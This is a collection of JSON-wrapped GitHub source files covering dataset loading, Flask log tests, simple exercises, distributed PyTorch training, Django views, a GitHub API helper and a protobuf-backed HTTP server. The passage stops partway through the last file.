+{"seq_id":"8283451590","text":"'''\nlibnano.datasets\n\nFor now this only contains lazy-loaded access to the restriction enzyme\ndataset, but it may act as the general access to libnano datasets should the\nneed arise in the future.\n\nAll datasets are provided in bytes (3.x) and str verions.\nThe unicode versions have a \"_U\" suffix.\n'''\n\nimport json as _json\nimport os as _os\nimport sys as _sys\nfrom typing import (\n Dict\n)\n\nfrom libnano.helpers import jsonbytes as _jsonbytes\nfrom libnano.datasets.build_enzyme_dataset import qcEnzymeDataset\nfrom libnano.datasets.build_codon_freq_dataset import (\n RNA_TO_AA,\n DNA_TO_AA,\n AA_TO_DNA,\n AA_TO_RNA,\n getOrganismFrequencies,\n updateCodonFreqDataset\n)\n\n_LOCAL_DIR: str = _os.path.dirname(_os.path.realpath(__file__))\n\nclass DatasetContainer(object):\n ''' Supports lazy loading of datasets to minimize memory footprint\n '''\n RNA_TO_AA = RNA_TO_AA\n DNA_TO_AA = DNA_TO_AA\n AA_TO_DNA = AA_TO_DNA\n AA_TO_RNA = AA_TO_RNA\n\n # ~~~~~~~~~~~~~~~~~~~~~~~ Codon frequency dataset ~~~~~~~~~~~~~~~~~~~~~~~ #\n\n def _loadCodonFreqDataset(self, as_unicode: bool = False) -> dict:\n jsonlib = _json if as_unicode else _jsonbytes\n dataset_fp = _os.path.join(_LOCAL_DIR, 'codon_freq_dataset.json')\n with open(dataset_fp) as fd:\n raw_data = jsonlib.load(fd)\n if as_unicode:\n self._CODON_FREQ_DATASET_U = raw_data\n else:\n self._CODON_FREQ_DATASET = raw_data\n\n @property\n def CODON_FREQ_DATASET(self) -> dict:\n try:\n return self._CODON_FREQ_DATASET\n except AttributeError:\n self._loadCodonFreqDataset()\n return self._CODON_FREQ_DATASET\n\n @property\n def CODON_FREQ_DATASET_U(self) -> dict:\n try:\n return self._CODON_FREQ_DATASET_U\n except AttributeError:\n self._loadCodonFreqDataset(as_unicode=True)\n return self._CODON_FREQ_DATASET_U\n\n def organismFrequencies(self,\n organism_id: int,\n organism_class: str) -> Dict[str, Dict[str, float]]:\n return getOrganismFrequencies(organism_id, organism_class)\n\n # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Enzyme dataset ~~~~~~~~~~~~~~~~~~~~~~~~~~~ #\n\n def _loadEnzymeDataset(self, as_unicode: bool = False):\n jsonlib = _json if as_unicode else _jsonbytes\n dataset_fp = _os.path.join(_LOCAL_DIR, 'enzyme_dataset.json')\n with open(dataset_fp) as fd:\n raw_data = jsonlib.load(fd)\n if as_unicode:\n self._ENZYME_DATASET_U = raw_data[u'enzyme_data']\n self._REBASE_VERSION = raw_data[u'rebase_version']\n else:\n self._ENZYME_DATASET = raw_data[b'enzyme_data']\n self._REBASE_VERSION = raw_data[b'rebase_version']\n\n @property\n def ENZYME_DATASET(self) -> dict:\n try:\n return self._ENZYME_DATASET\n except AttributeError:\n self._loadEnzymeDataset()\n return self._ENZYME_DATASET\n\n @property\n def REBASE_VERSION(self) -> dict:\n try:\n return self._REBASE_VERSION\n except AttributeError:\n self._loadEnzymeDataset()\n return self._REBASE_VERSION\n\n @property\n def ENZYME_DATASET_U(self) -> dict:\n try:\n return self._ENZYME_DATASET_U\n except AttributeError:\n self._loadEnzymeDataset(as_unicode=True)\n return self._ENZYME_DATASET_U\n\n\ndataset_container = DatasetContainer()\n\n\n__all__ = ['qcEnzymeDataset', 'dataset_container']\n","repo_name":"libnano/libnano","sub_path":"libnano/datasets/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3595,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"0"}
+{"seq_id":"73539376678","text":"from flask import Flask\nfrom app import app\n\nimport logging\nimport unittest\n\nclass TestLogConfiguration(unittest.TestCase):\n \"\"\"[config set up]\n \"\"\"\n def test_INFO__level_log(self):\n \"\"\"\n Verify log for INFO level\n \"\"\"\n self.app = app\n self.client = self.app.test_client\n \n with self.assertLogs() as log:\n user_logs = self.client().get('/')\n self.assertEqual(len(log.output), 4)\n self.assertEqual(len(log.records), 4)\n self.assertIn('Info log information', log.output[0])\n\n\n def test_WARNING__level_log(self):\n \"\"\"\n Verify log for WARNING level\n \"\"\"\n self.app = app\n self.client = self.app.test_client\n \n with self.assertLogs() as log:\n user_logs = self.client().get('/')\n self.assertEqual(len(log.output), 4)\n self.assertIn('Warning log info', log.output[1])\n \n\n def test_ERROR__level_log(self):\n \"\"\"\n Verify log for ERROR level\n \"\"\"\n self.app = app\n self.client = self.app.test_client\n \n with self.assertLogs() as log:\n user_logs = self.client().get('/')\n self.assertEqual(len(log.output), 4)\n self.assertIn('Error log info', log.output[2])\n\n def test_CRITICAL__level_log(self):\n \"\"\"\n Verify log for CRITICal level\n \"\"\"\n self.app = app\n self.client = self.app.test_client\n \n with self.assertLogs() as log:\n user_logs = self.client().get('/')\n self.assertEqual(len(log.output), 4)\n self.assertIn('Critical log info', log.output[3])\n","repo_name":"CIRCLECI-GWP/logging-with-flask","sub_path":"test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"14045778776","text":"def GCD(a,b):\n c = []\n d = []\n e = []\n for x in range(2,a+1):\n if(a % x == 0):\n c.append(x)\n for x in range(2,b+1):\n if(b % x == 0):\n d.append(x)\n c = set(c)\n d = set(d)\n e = c.intersection(d)\n return(max(e))\n\na = int(input())\nb = int(input())\nc = GCD(a,b)\nprint(\"The GCD of the two numbers is\",c)\n","repo_name":"Suru996/SRM-e_lab-Python-Level-1","sub_path":"GCD Check.py","file_name":"GCD Check.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"38169811677","text":"import rsk, time, utils, strategy\r\n\r\n\r\nplayer = 'player1'\r\nwith rsk.Client(host='172.19.39.223', key='') as client :\r\n client.on_update = utils.update\r\n time.sleep(1)\r\n end = False\r\n while True :\r\n strategy.goalkeeper(client, player)\r\n \r\n\r\n \r\n","repo_name":"RVDROU/soccer-simu","sub_path":"pilot_SSL/test_behavior.py","file_name":"test_behavior.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"10722496205","text":"# Faça um programa que leia três números e mostre qual o maior e o qual o menor.\r\n\r\na = int(input('Informe o primeiro número: '))\r\nb = int(input('Informe o segundo número: '))\r\nc = int(input('Informe o terceiro número: '))\r\n\r\nif a == b and b == c and a == c:\r\n print('-'*10)\r\n print('Os três números são iguais')\r\n print('-'*10)\r\nelse:\r\n #verificando o menor\r\n menor = a\r\n if b < a and b < c:\r\n menor = b\r\n if c < a and c < b:\r\n menor = c\r\n\r\n #verificando o maior\r\n maior = a\r\n if b > a and b > c:\r\n maior = b\r\n if c > a and c > b:\r\n maior = c \r\n\r\n print(f'O menor valor é {menor}')\r\n print(f'O maior valor é {maior}')\r\n","repo_name":"santospgs/Curso_em_Video","sub_path":"Python/Mundo1/ex033.py","file_name":"ex033.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"74136478116","text":"from __future__ import print_function\n\nfrom bluefog.common import topology_util\nimport bluefog.torch as bf\nimport argparse\nimport os\nimport sys\nimport math\nimport warnings\nwarnings.simplefilter('ignore')\n\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch.utils.data.distributed\nfrom torchvision import datasets, transforms, models\nimport tensorboardX\nfrom tqdm import tqdm\n\nsys.path.insert(0, os.path.abspath(\n os.path.join(os.path.dirname(__file__), \"..\")))\n\ncwd_folder_loc = os.path.dirname(os.path.abspath(__file__))\n# Training settings\nparser = argparse.ArgumentParser(\n description=\"PyTorch ImageNet Example\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n)\nparser.add_argument('--log-dir', default='./logs',\n help='tensorboard log directory')\nparser.add_argument('--checkpoint-format', default='./checkpoint-{epoch}.pth.tar',\n help='checkpoint file format')\nparser.add_argument('--batches-per-allreduce', type=int, default=1,\n help='number of batches processed locally before '\n 'executing allreduce across workers; it multiplies '\n 'total batch size.')\nparser.add_argument('--model', type=str, default='resnet18',\n help='model to benchmark')\nparser.add_argument('--dataset', type=str, default='cifar10',\n help='The dataset to train with.')\nparser.add_argument('--train-dir', default=os.path.expanduser('~/imagenet/train'),\n help='path to training data')\nparser.add_argument('--val-dir', default=os.path.expanduser('~/imagenet/validation'),\n help='path to validation data')\n\n# Default settings from https://arxiv.org/abs/1706.02677.\nparser.add_argument('--batch-size', type=int, default=32,\n help='input batch size for training')\nparser.add_argument('--val-batch-size', type=int, default=32,\n help='input batch size for validation')\nparser.add_argument('--epochs', type=int, default=90,\n help='number of epochs to train')\nparser.add_argument('--base-lr', type=float, default=0.0125,\n help='learning rate for a single GPU')\nparser.add_argument('--warmup-epochs', type=float, default=5,\n help='number of warmup epochs')\nparser.add_argument('--momentum', type=float, default=0.9,\n help='SGD momentum')\nparser.add_argument('--wd', type=float, default=0.00005,\n help='weight decay')\n\nparser.add_argument(\n \"--no-cuda\", action=\"store_true\", default=False, help=\"disables CUDA training\"\n)\nparser.add_argument(\"--seed\", type=int, default=42, help=\"random seed\")\nparser.add_argument('--dist-optimizer', type=str, default='neighbor_allreduce',\n help='The type of distributed optimizer. Supporting options are [win_put, ' +\n 'neighbor_allreduce, hierarchical_neighbor_allreduce, allreduce, ' +\n 'gradient_allreduce, horovod]')\nparser.add_argument('--atc-style', action='store_true', default=False,\n help='If True, the step of optimizer happened before communication')\nparser.add_argument('--disable-dynamic-topology', action='store_true',\n default=False, help=('Disable each iteration to transmit one neighbor ' +\n 'per iteration dynamically.'))\n\nargs = parser.parse_args()\nargs.cuda = (not args.no_cuda) and (torch.cuda.is_available())\nallreduce_batch_size = args.batch_size * args.batches_per_allreduce\n\nif args.dist_optimizer == 'horovod':\n print(\"importing horovod\")\n import horovod.torch as bf\n\n# Bluefog: initialize library.\nbf.init()\ntorch.manual_seed(args.seed)\n\nif args.cuda:\n print(\"using cuda.\")\n # Bluefog: pin GPU to local rank.\n device_id = bf.local_rank() if bf.nccl_built() else bf.local_rank() % torch.cuda.device_count()\n torch.cuda.set_device(device_id)\n torch.cuda.manual_seed(args.seed)\nelse:\n print(\"using cpu\")\n\ncudnn.benchmark = True\n\n# Bluefog: print logs on the first worker.\nverbose = 1 if bf.rank() == 0 else 0\n\n# Bluefog: write TensorBoard logs on first worker.\nlog_writer = tensorboardX.SummaryWriter(\n args.log_dir) if bf.rank() == 0 else None\n\n\nkwargs = {\"num_workers\": 4, \"pin_memory\": True} if args.cuda else {}\nif args.dataset == \"cifar10\":\n train_dataset = datasets.CIFAR10(\n os.path.join(cwd_folder_loc, \"..\", \"data\", \"data-%d\" % bf.rank()),\n train=True,\n download=True,\n transform=transforms.Compose(\n [\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225]),\n ]\n ),\n )\nelif args.dataset == \"imagenet\":\n train_dataset = datasets.ImageFolder(args.train_dir,\n transform=transforms.Compose([\n transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n ]))\nelse:\n raise ValueError(\"Args dataset should be either cifar10 or imagenet\")\n\n# Bluefog: use DistributedSampler to partition data among workers. Manually specify\n# `num_replicas=bf.size()` and `rank=bf.rank()`.\ntrain_sampler = torch.utils.data.distributed.DistributedSampler(\n train_dataset, num_replicas=bf.size(), rank=bf.rank()\n)\ntrain_loader = torch.utils.data.DataLoader(\n train_dataset, batch_size=allreduce_batch_size, sampler=train_sampler, **kwargs\n)\n\nif args.dataset == \"cifar10\":\n val_dataset = datasets.CIFAR10(\n os.path.join(cwd_folder_loc, \"..\", \"data\", \"data-%d\" % bf.rank()),\n train=False,\n transform=transforms.Compose(\n [\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225]),\n ]\n ),\n )\nelif args.dataset == \"imagenet\":\n val_dataset = datasets.ImageFolder(args.val_dir,\n transform=transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n ]))\n\nval_sampler = torch.utils.data.distributed.DistributedSampler(\n val_dataset, num_replicas=bf.size(), rank=bf.rank()\n)\n\nval_loader = torch.utils.data.DataLoader(\n val_dataset, batch_size=args.val_batch_size, sampler=val_sampler, **kwargs\n)\n\nif args.dataset == \"cifar10\":\n model = getattr(models, args.model)(num_classes=10)\nelif args.dataset == \"imagenet\":\n model = getattr(models, args.model)(num_classes=1000)\n\nif args.cuda:\n # Move model to GPU.\n model.cuda()\n\n# Bluefog: scale learning rate by the number of GPUs.\n# Gradient Accumulation: scale learning rate by batches_per_allreduce\noptimizer = optim.SGD(\n model.parameters(),\n lr=(args.base_lr * args.batches_per_allreduce * bf.size()),\n momentum=args.momentum,\n weight_decay=args.wd,\n)\n\n# Bluefog: wrap optimizer with DistributedOptimizer.\nif args.dist_optimizer != 'horovod':\n base_dist_optimizer = (\n bf.DistributedAdaptThenCombineOptimizer if args.atc_style else\n bf.DistributedAdaptWithCombineOptimizer)\nif args.dist_optimizer == 'win_put':\n optimizer = bf.DistributedWinPutOptimizer(optimizer, model=model)\nelif args.dist_optimizer == 'allreduce':\n optimizer = base_dist_optimizer(\n optimizer, model=model, communication_type=bf.CommunicationType.allreduce)\nelif args.dist_optimizer == 'neighbor_allreduce':\n optimizer = base_dist_optimizer(\n optimizer, model=model, communication_type=bf.CommunicationType.neighbor_allreduce)\nelif args.dist_optimizer == 'hierarchical_neighbor_allreduce':\n optimizer = base_dist_optimizer(\n optimizer, model=model,\n communication_type=bf.CommunicationType.hierarchical_neighbor_allreduce)\nelif args.dist_optimizer == 'gradient_allreduce':\n optimizer = bf.DistributedGradientAllreduceOptimizer(\n optimizer, model=model)\nelif args.dist_optimizer == 'horovod':\n optimizer = bf.DistributedOptimizer(\n optimizer, named_parameters=model.named_parameters())\nelse:\n raise ValueError('Unknown args.dist-optimizer type -- ' + args.dist_optimizer + '\\n' +\n 'Please set the argument to be one of ' +\n '[neighbor_allreduce, gradient_allreduce, allreduce, ' +\n 'hierarchical_neighbor_allreduce, win_put, horovod]')\n\n# Bluefog: broadcast parameters & optimizer state.\nbf.broadcast_parameters(model.state_dict(), root_rank=0)\nbf.broadcast_optimizer_state(optimizer, root_rank=0)\n\n\ndef train(epoch):\n model.train()\n train_sampler.set_epoch(epoch)\n train_loss = Metric(\"train_loss\")\n train_accuracy = Metric(\"train_accuracy\")\n\n with tqdm(total=len(train_loader), desc=\"Train Epoch #{}\".format(epoch + 1),\n disable=not verbose,) as t:\n for batch_idx, (data, target) in enumerate(train_loader):\n adjust_learning_rate(epoch, batch_idx)\n if not args.disable_dynamic_topology:\n dynamic_topology_update(epoch, batch_idx)\n\n if args.cuda:\n data, target = data.cuda(), target.cuda()\n optimizer.zero_grad()\n # Split data into sub-batches of size batch_size\n for i in range(0, len(data), args.batch_size):\n data_batch = data[i: i + args.batch_size]\n target_batch = target[i: i + args.batch_size]\n output = model(data_batch)\n train_accuracy.update(accuracy(output, target_batch))\n loss = F.cross_entropy(output, target_batch)\n train_loss.update(loss)\n # Average gradients among sub-batches\n loss.div_(math.ceil(float(len(data)) / args.batch_size))\n loss.backward()\n # Gradient is applied across all ranks\n optimizer.step()\n t.set_postfix(\n {\n \"loss\": train_loss.avg.item(),\n \"accuracy\": 100.0 * train_accuracy.avg.item(),\n }\n )\n t.update(1)\n\n if log_writer:\n log_writer.add_scalar(\"train/loss\", train_loss.avg, epoch)\n log_writer.add_scalar(\"train/accuracy\", train_accuracy.avg, epoch)\n\n\ndef validate(epoch):\n model.eval()\n val_loss = Metric(\"val_loss\")\n val_accuracy = Metric(\"val_accuracy\")\n\n with tqdm(total=len(val_loader), desc=\"Validate Epoch #{}\".format(epoch + 1),\n disable=not verbose) as t:\n with torch.no_grad():\n for data, target in val_loader:\n if args.cuda:\n data, target = data.cuda(), target.cuda()\n output = model(data)\n\n val_loss.update(F.cross_entropy(output, target))\n val_accuracy.update(accuracy(output, target))\n t.set_postfix(\n {\n \"loss\": val_loss.avg.item(),\n \"accuracy\": 100.0 * val_accuracy.avg.item(),\n }\n )\n t.update(1)\n\n if log_writer:\n log_writer.add_scalar(\"val/loss\", val_loss.avg, epoch)\n log_writer.add_scalar(\"val/accuracy\", val_accuracy.avg, epoch)\n\n\n# Bluefog: using `lr = base_lr * bf.size()` from the very beginning leads to worse final\n# accuracy. Scale the learning rate `lr = base_lr` ---> `lr = base_lr * bf.size()` during\n# the first five epochs. See https://arxiv.org/abs/1706.02677 for details.\n# After the warmup reduce learning rate by 10 on the 30th, 60th and 80th epochs.\ndef adjust_learning_rate(epoch, batch_idx):\n if epoch < args.warmup_epochs:\n epoch += float(batch_idx + 1) / len(train_loader)\n lr_adj = 1.0 / bf.size() * (epoch * (bf.size() - 1) / args.warmup_epochs + 1)\n elif epoch < 30:\n lr_adj = 1.0\n elif epoch < 60:\n lr_adj = 1e-1\n elif epoch < 80:\n lr_adj = 1e-2\n else:\n lr_adj = 1e-3\n for param_group in optimizer.param_groups:\n param_group[\"lr\"] = (\n args.base_lr * bf.size() * args.batches_per_allreduce * lr_adj\n )\n\n\nif not args.disable_dynamic_topology and (args.dist_optimizer != 'horovod'):\n if args.dist_optimizer == 'neighbor_allreduce':\n if bf.is_homogeneous() and bf.size() > bf.local_size():\n dynamic_neighbor_allreduce_gen = topology_util.GetInnerOuterExpo2DynamicSendRecvRanks(\n bf.size(),\n local_size=bf.local_size(),\n self_rank=bf.rank())\n else:\n dynamic_neighbor_allreduce_gen = topology_util.GetDynamicOnePeerSendRecvRanks(\n bf.load_topology(), bf.rank())\n elif args.dist_optimizer == 'hierarchical_neighbor_allreduce':\n # This optimizer can use following dynamic topo only so far.\n dynamic_machine_neighbor_allreduce_gen = topology_util.GetExp2DynamicSendRecvMachineRanks(\n world_size=bf.size(),\n local_size=bf.local_size(),\n self_rank=bf.rank(),\n local_rank=bf.local_rank()\n )\n else:\n dynamic_neighbor_allreduce_gen = topology_util.GetDynamicOnePeerSendRecvRanks(\n bf.load_topology(), bf.rank())\n\ndef dynamic_topology_update(epoch, batch_idx):\n if args.dist_optimizer == 'win_put':\n if epoch < 3:\n return\n num_out_neighbors = len(bf.out_neighbor_ranks())\n sent_neighbor = bf.out_neighbor_ranks()[batch_idx % num_out_neighbors]\n optimizer.dst_weights = {sent_neighbor: 1.0}\n elif args.dist_optimizer == 'neighbor_allreduce':\n send_neighbors, recv_neighbors = next(dynamic_neighbor_allreduce_gen)\n optimizer.dst_weights = send_neighbors\n optimizer.src_weights = {r: 1/(len(recv_neighbors) + 1) for r in recv_neighbors}\n optimizer.self_weight = 1 / (len(recv_neighbors) + 1)\n optimizer.enable_topo_check = False\n elif args.dist_optimizer == 'hierarchical_neighbor_allreduce':\n send_machines, recv_machines = next(dynamic_machine_neighbor_allreduce_gen)\n optimizer.dst_machine_weights = send_machines\n optimizer.src_machine_weights = {r: 1/(len(recv_machines) + 1) for r in recv_machines}\n optimizer.self_weight = 1 / (len(recv_machines) + 1)\n optimizer.enable_topo_check = False\n else:\n pass\n\n\ndef accuracy(output, target):\n # get the index of the max log-probability\n pred = output.max(1, keepdim=True)[1]\n return pred.eq(target.view_as(pred)).cpu().float().mean()\n\n\ndef save_checkpoint(epoch):\n if bf.rank() == 0:\n filepath = args.checkpoint_format.format(epoch=epoch + 1)\n dirpath = os.path.dirname(filepath)\n if not os.path.exists(dirpath):\n os.makedirs(dirpath)\n state = {\"model\": model.state_dict(), \"optimizer\": optimizer.state_dict()}\n torch.save(state, filepath)\n\n\n# Bluefog: average metrics from distributed training.\nclass Metric(object):\n def __init__(self, name):\n self.name = name\n self.sum = torch.tensor(0.0) # pylint: disable=not-callable\n self.n = torch.tensor(0.0) # pylint: disable=not-callable\n\n def update(self, val):\n self.sum += bf.allreduce(val.detach().cpu(), name=self.name)\n self.n += 1\n\n @property\n def avg(self):\n return self.sum / self.n\n\n\nfor epoch in range(args.epochs):\n train(epoch)\n validate(epoch)\n # save_checkpoint(epoch)\n","repo_name":"Bluefog-Lib/bluefog","sub_path":"examples/pytorch_resnet.py","file_name":"pytorch_resnet.py","file_ext":"py","file_size_in_byte":16224,"program_lang":"python","lang":"en","doc_type":"code","stars":290,"dataset":"github-code","pt":"0"}
+{"seq_id":"9753541966","text":"#AoC d14\n#--- Day 14: Extended Polymerization ---\nimport urllib.request\n\ndef read_url(url):\n\tfile = urllib.request.urlopen(url)\n\tdata = file.read().strip()\n\tdata = data.decode(\"utf8\")\n\tdata = data.split(\"\\n\")\n\ttemplate = data[0]\n\trules = dict()\n\tfor line in data[2:]:\n\t\trules[line.split(\" -> \")[0]] = line.split(\" -> \")[1]\n\treturn template, rules\n\ndef rule_match(pair, rules):\n\treturn rules[pair]\n\ndef insert_element(pair, element):\n\treturn pair[0] + element\n\ndef apply_rules(pairs, rules):\n\tfor index,pair in enumerate(pairs):\n\t\telement = rule_match(pair, rules)\n\t\ttemplate_pairs[index] = insert_element(pair, element)\n\t\n\treturn ''.join(template_pairs) + template[-1]\n\ndef calculate_most_least(template):\n\tres = {}\n\tfor keys in template:\n\t\tres[keys] = res.get(keys,0)+1\n\tmaximum = 0\n\tminimum = 1000000000000000000\n\tfor key in res:\n\t\tmaximum = (res[key] > maximum) * res[key] + (res[key] < maximum) * maximum\n\t\tminimum = (res[key] < minimum) * res[key] + (res[key] > minimum) * minimum\n\n\treturn maximum - minimum\n\n#main\n# Part One\ntemplate, rules = read_url('https://raw.githubusercontent.com/vxoli/adventofcode/main/2021/d14-input.txt')\nfor i in range(10):\n\ttemplate_pairs = [i + j for i,j in zip(template, template[1:])]\n\ttemplate = apply_rules(template_pairs, rules)\n\t\nprint(\"Part 1: What do you get if you take the quantity of the most common element and subtract the quantity of the least common element? \", calculate_most_least(template))\n\n# Part Two\ntemplate, rules = read_url('https://raw.githubusercontent.com/vxoli/adventofcode/main/2021/d14-input.txt')\nfor i in range(40):\n\tprint(i,\" --- \", len(template))\n\ttemplate_pairs = [i + j for i,j in zip(template, template[1:])]\n\ttemplate = apply_rules(template_pairs, rules)\n\t\nprint(\"Part 2: What do you get if you take the quantity of the most common element and subtract the quantity of the least common element? \", calculate_most_least(template))\n","repo_name":"vxoli/advent_of_code","sub_path":"2021/d14.py","file_name":"d14.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"18980570146","text":"from django.views.generic import ListView\nfrom django.views.generic.detail import DetailView\nfrom django.conf import settings\nfrom django.core.cache.backends.base import DEFAULT_TIMEOUT\nfrom django.utils.decorators import method_decorator # NEW\nfrom django.views.decorators.cache import cache_page # NEW\n\nfrom .models import Resumen_Año, Asuntos_En_Tramite_Anteriores, Asuntos_En_Tramite\n\nfrom itinerancia.models import Itinerancia\nfrom visita_inspeccion.models import VisitaInspeccion\n\n\nCACHE_TTL = getattr(settings, 'CACHE_TTL', DEFAULT_TIMEOUT)\n\n\nclass ResumenListView(ListView):\n\n model = Resumen_Año\n template_name = 'dashboard/base.html'\n\n def get_context_data(self, **kwargs):\n print(self.request)\n context = super().get_context_data(**kwargs)\n # context['resumen_porcentaje'] = Resumen_Año.asuntos_anteriores.porcentaje_asuntos_anteriores()\n context['resumenes'] = Resumen_Año.objects.filter(fk_periodo=1)\n print(context['resumenes'])\n return context\n\n\n@method_decorator(cache_page(CACHE_TTL), name='dispatch') # NEW\nclass ResumenTUADetailView(DetailView):\n\n model = Resumen_Año\n context_object_name = 'resumen'\n slug_field = 'anio'\n template_name = 'dashboard/resumen_detail.html'\n\n def get_object(self, queryset=None):\n anio = self.kwargs.get('anio')\n resumen = self.model.objects.get(anio=anio)\n return resumen\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n resumen = self.get_object()\n asuntos_anteriores = Asuntos_En_Tramite_Anteriores.objects.filter(fk_resumen=resumen)\n asuntos_tramite = Asuntos_En_Tramite.objects.filter(fk_resumen=resumen) \n context.update(\n {\n 'asuntos_anteriores': asuntos_anteriores,\n 'asuntos_tramite': asuntos_tramite,\n }\n )\n return context\n","repo_name":"EdgarOSF/Resumen_De_Productidad","sub_path":"resumen/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"7141011451","text":"#coding=utf-8\n#Version:python3.7.0\n#Tools:Pycharm 2019\n# Author:LIKUNHONG\n__date__ = ''\n__author__ = 'lkh'\n\nprint([123,456] + ['aaa'])\n\nprint('12345678'[0:2])\n\nprint('123'[::-1])\n\ns1 = '12345'\ns1 = s1[0:2][::-1] + s1[2:]\nprint(s1)\n\nprint('.' == '.')\n\nimport queue\nq1 = queue.Queue()\nq1.put(1)\nq1.put(None)\nwhile not q1.empty():\n print(q1.get())","repo_name":"likunhong01/leetcode_Algorithm","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"34496689301","text":"import pytest\n\n# 定义了登录的fixture,尽量避免以test_开头\n\"\"\"\n@pytest.fixture\ndef fixture_name():\n setup 操作\n yield 返回值\n teardown 操作\n\"\"\"\n\n\n@pytest.fixture(scope=\"class\")\ndef login():\n # setup 操作\n print(\"完成登录操作\")\n\n token = \"lilliputian\"\n username = 'hogwarts'\n\n yield token, username\n # yield关键字相当于return,后面不跟 表示返回None\n # yield这一行执行完,就进入测试用例里面 测试用例执行完毕,再回到这里继续往下执行\n\n # teardown 操作\n print(\"完成登出操作\")\n\n\ndef test_search(login):\n token, username = login\n print(f\"token:{token} , name : {username}\")\n print(\"搜索\")\n\n\ndef test_cart(login):\n token, username = login\n print(f\"token:{token} , name : {username}\")\n print(\"购物车\")\n","repo_name":"lianyanju/lianyanju","sub_path":"code/fixture/fixture_yield.py","file_name":"fixture_yield.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"7856449149","text":"import itertools\nimport json\nimport re\nimport time\nimport urllib.parse\nimport sys\n\nimport requests\n\nimport utils\n\n\ndef build_url(path, params=None):\n if path.startswith('/'):\n base = 'https://api.github.com' + path\n else:\n base = path\n assert base.startswith('https://api.github.com')\n\n config = utils.read_config()\n params = {} if params is None else params.copy()\n params['client_id'] = config['client_id']\n params['client_secret'] = config['client_secret']\n q = ('&' if ('?' in path) else '?') + urllib.parse.urlencode(params)\n url = base + q\n return url\n\n\ndef query(path, params=None):\n while True:\n url = build_url(path, params)\n if utils.read_config().get('verbose'):\n print(url)\n r = requests.get(url)\n if r.status_code == 403 and 'X-RateLimit-Reset' in r.headers:\n reset = int(r.headers['X-RateLimit-Reset'])\n wait = max(0, reset - time.time()) + 60\n sys.stderr.write('Reached API rate limit. Waiting %d seconds ...\\n' % wait)\n assert wait < 6 * 3600\n time.sleep(wait)\n continue\n if r.status_code != 200:\n raise Exception('Status %d: %s' % (r.status_code, r.text))\n break\n return (r, json.loads(r.text))\n\n\ndef paged(path, params=None, limit=None, get_items=None):\n yielded = 0\n while True:\n r, data = query(path, params)\n items = get_items(data) if get_items else data\n link = r.headers.get('Link', '')\n m = re.search(']+)>;\\s*rel=\"next\"', link)\n if limit is not None:\n if yielded + len(items) >= limit:\n yield from itertools.islice(items, limit - yielded)\n return\n\n yield from items\n yielded += len(items)\n if not m:\n break\n path = m.group(1)\n","repo_name":"hhucn/enabling-drcs-analysis","sub_path":"query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"74161582437","text":"#!/usr/bin/python\n\nimport BaseHTTPServer\nimport json\nimport threading\nimport time\nimport person_pb2 as proto\n\nTIMEOUT_IN_SECONDS = 10\nTEST_CALL = '''curl --header \"Content-Type: application/json\" --request POST --data '{\"name\":\"Ankit\",\"id\":1}' http://localhost:1111'''\npersons = []\n\n\nclass Handler(BaseHTTPServer.BaseHTTPRequestHandler):\n def do_POST(self):\n content_length = int(self.headers['Content-Length'])\n post_data = self.rfile.read(content_length)\n if 'name' in post_data and 'id' in post_data:\n post_data = json.loads(post_data)\n person = proto.Person(id=post_data['id'], name=post_data['name'])\n persons.append(person)\n response = 'Saved to protobuf'\n else:\n response = 'Please call api with post data eg: {}'.format(TEST_CALL)\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/plain\")\n self.end_headers()\n self.wfile.write(response)\n\n\ndef run(server_class=BaseHTTPServer.HTTPServer,\n handler_class=Handler):\n server_address = ('localhost', 1111)\n httpd = server_class(server_address, handler_class)\n httpd.serve_forever()\n\n\ndef flush_to_disk():\n global persons\n if persons:\n print('Rolling over file')\n with open('persons_{}.pb'.format(time.time()), 'wb+') as f:\n for p in persons:\n f.write(p.SerializeToString())\n persons = []\n threading.Timer(TIMEOUT_IN_SECONDS, flush_to_disk).start()\n\ntry:\n flush_to_disk()\nexcept KeyboardInterrupt:\n 